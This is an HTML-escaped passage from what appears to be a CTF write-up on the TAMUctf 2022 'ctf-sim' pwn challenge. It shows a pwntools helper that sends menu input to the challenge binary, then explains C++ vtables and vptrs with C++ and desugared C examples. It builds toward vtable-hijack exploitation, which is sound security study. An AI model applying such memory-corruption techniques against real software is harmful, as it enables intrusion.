        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad newline&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;3&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Now we just need to figure out how to call these, and what to call them with...&lt;/p&gt;
&lt;h4 id=&quot;virtual-tables&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#virtual-tables&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Virtual Tables&lt;/h4&gt;
&lt;p&gt;Ugh... virtual functions. They&#39;re convenient high-level features and great for polymorphism, but how do they actually work underneath?&lt;/p&gt;
&lt;p&gt;My Google-fu did not fail me. I found a couple useful resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;a href=&quot;https://stackoverflow.com/a/99341/10239789&quot;&gt;StackOverflow answer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;a &lt;a href=&quot;https://web.archive.org/web/20260305120733/https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/&quot;&gt;well-written blog post&lt;/a&gt; by one named Pablo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I&#39;ll try my best to summarise the wisdom found there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If a class has a virtual function...
&lt;ul&gt;
&lt;li&gt;the class has a vtable, and&lt;/li&gt;
&lt;li&gt;objects of the class contains an &lt;em&gt;implicit&lt;/em&gt; &amp;quot;vptr&amp;quot; member.
&lt;ul&gt;
&lt;li&gt;In memory, the vptr is placed at the &lt;em&gt;very beginning&lt;/em&gt; of the object.&lt;/li&gt;
&lt;li&gt;The vptr points to the vtable of the class.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The vtable is a list of pointers to the concrete implementations of the virtual functions.&lt;/li&gt;
&lt;li&gt;When a virtual function is called, the vtable is accessed through the vptr. The vtable is then used to &lt;strong&gt;look up&lt;/strong&gt; the appropriate virtual function and pass it the appropriate parameters.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To better understand vtables and vpointers, here&#39;s a virtual function example in C++ along with a desugared version written in C.&lt;/p&gt;
&lt;p&gt;C++ Version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Parent&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// void* vtable; // Implicit, but exists due to virtual functions.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Parent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;parent (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; parent_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;) foo: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;parent (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; parent_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;) bar: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Inherits Parent::parent_data and Parent::foo.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Derived&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token base-clause&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Parent&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// void* vtable; // Implicit for same reason as Parent.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; derived_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;Derived&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; data2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Parent&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; derived_data&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;data2&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Overrides Parent::bar.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;virtual&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;derived (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; parent_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;, &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; derived_data &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;) bar: &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;endl&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    Parent p&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Parent::foo&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Parent::bar&lt;/span&gt;

    Derived d&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    d&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Parent::foo&lt;/span&gt;
    d&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Derived::bar&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAMzwBtMA7AQwFtMQByARg9KtQYEAysib0QXACx8BBAKoBnTAAUAHpwAMvAFYTStJg1DIApACYAQuYukl9ZATwDKjdAGFUtAK4sGIM6SuADJ4DJgAcj4ARpjE/gDspAAOqAqETgwe3r7%2ByanpAiFhkSwxcWaJdpgOGUIETMQEWT5%2BAVU1AnUNBEUR0bEJtvWNzTltwz2hfaUDFQCUtqhexMjsHOYAzKHI3lgA1CYbbk4KBMSYrIfYJhoAgje3O0wKCnvKDYwEB/FWd0leUVoeGQIAee3Be1CXySH0EAH10Ex6odfrcIW9YQQIFC9oj6nM9iA9jDzvC8UwTD9yZSACLfKzxGkPMEQgBueEaXjEe1ZqDw6D2/FQ2MEe1UBMpFj2p3QIBQSy%2BhzcSoOZjMJM%2Bewg5jMByOKo1ZKRTD1yqOqrMBKFRJ1ppVqjt5plctctBR3yZd3R7M53N5/L2UQaIq%2B4vp0oIsvlXkV%2BvNOsNX21asdbmJmIRxtTFoJQbiFuzDqVKudIFd7tpzMZKIeTxeexpsTwrMwAqJ/0BwIxpMVPweHaBIJZ4JxWGIzdbmeRG1R6Mb45b6BDuONpEhovJlsJ3c%2BkupjLXY4n6CnFKpxrMtPplbuw55HIIXNoPL5Arzy7DkojUbQMezOqPRctVtYtzUTU9/zVNcQLjNNAMnclIK3PMbRTUC0yLWDvxdBh0DdGcPSrJkZ2ZO4cRYJhQggCU%2By9CF3h7YlJS4SsSLo8EkgAOiFCBLXdAB6fid0EOUhTvLj3w2OYBKEhjPjlPNSLRCF52PXFJQAVjXAA2VjZwhdBuNQYV4mkgjBOEghROMu9DPfAAOMypQs1TFwUhoiI4BZaE4DTeD8DgtFIVBOGVSxrGlJYVkwVUNh4UgrMCryFgAaxADSNH0ThJH8zReBCjheAUEBMsSrQFjgWAYEQeUWCSOhYnISg0Dqhq4mALgzC4Pg6AIWJiogKI8tIKJQgaABPTh4pathBAAeQYWhJqS0gsAooxxBW/BzhqFtipWzBVGqGM1iCqFMB8lagSiYgJo8LBhrOPAWCmry%2BAMYAFAANTwTAAHc5qSRhXpkQQRDEdgpFB%2BQlDUYbdG6gwjBQaxrH0PAomKyAFlQJJHAEfaiou6p8b8CBXFGPxuuCKYSjKPQUjSUnKYZ/JSd6OmBm69pSa6EZPBaPQedqCYOf6OJuYmFnJe6MWZglhYFCi1Y9DOTA1h4bzfNylaCtUeztIAWm0yQ9mAZBkD2TrOK4LUwqsSw11wQgSFi7q9g8Vr6GIN25l4MrktINKMqyjgctIF6Q4CoKCqKkqEryirqogJAFX%2BAgmogFr6u98JWDWfWjZNs2Latswbd4VsXfHWVuv4MHRHEKH65hlR1BWhHSD%2B26klerWOD80ho/yzg5pjdO9lQKgxQN43TfNy3rdtiBPZz2Jff9xOFgQC4x0ofvw8jzLh%2BCzg49Kreg/SzLLo2HWY7PhOkrmfuzHvkfCqf8qFhbYg0mcSQQA&quot;&gt;godbolt demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;C Version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Type alias for function pointers.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; vtable&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; Parent&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token class-name&quot;&gt;funcptr_t&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; vtable&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; parent_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Inherited from Parent.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; derived_data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; Derived&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Enumeration of virtual functions.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; VFUNCTION_FOO&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; VFUNCTION_BAR &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Concrete implementations.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parent__foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;parent (%d) foo: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;parent_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;parent__bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;parent (%d) bar: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;parent_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;derived__bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Derived&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; d&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;derived (%d, %d) bar: %d&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; d&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;parent_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; d&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;derived_data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Virtual implementations (redirect).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;VFUNCTION_FOO&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;Parent&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; p&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;vtable&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;VFUNCTION_BAR&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// vtable definitions.&lt;/span&gt;
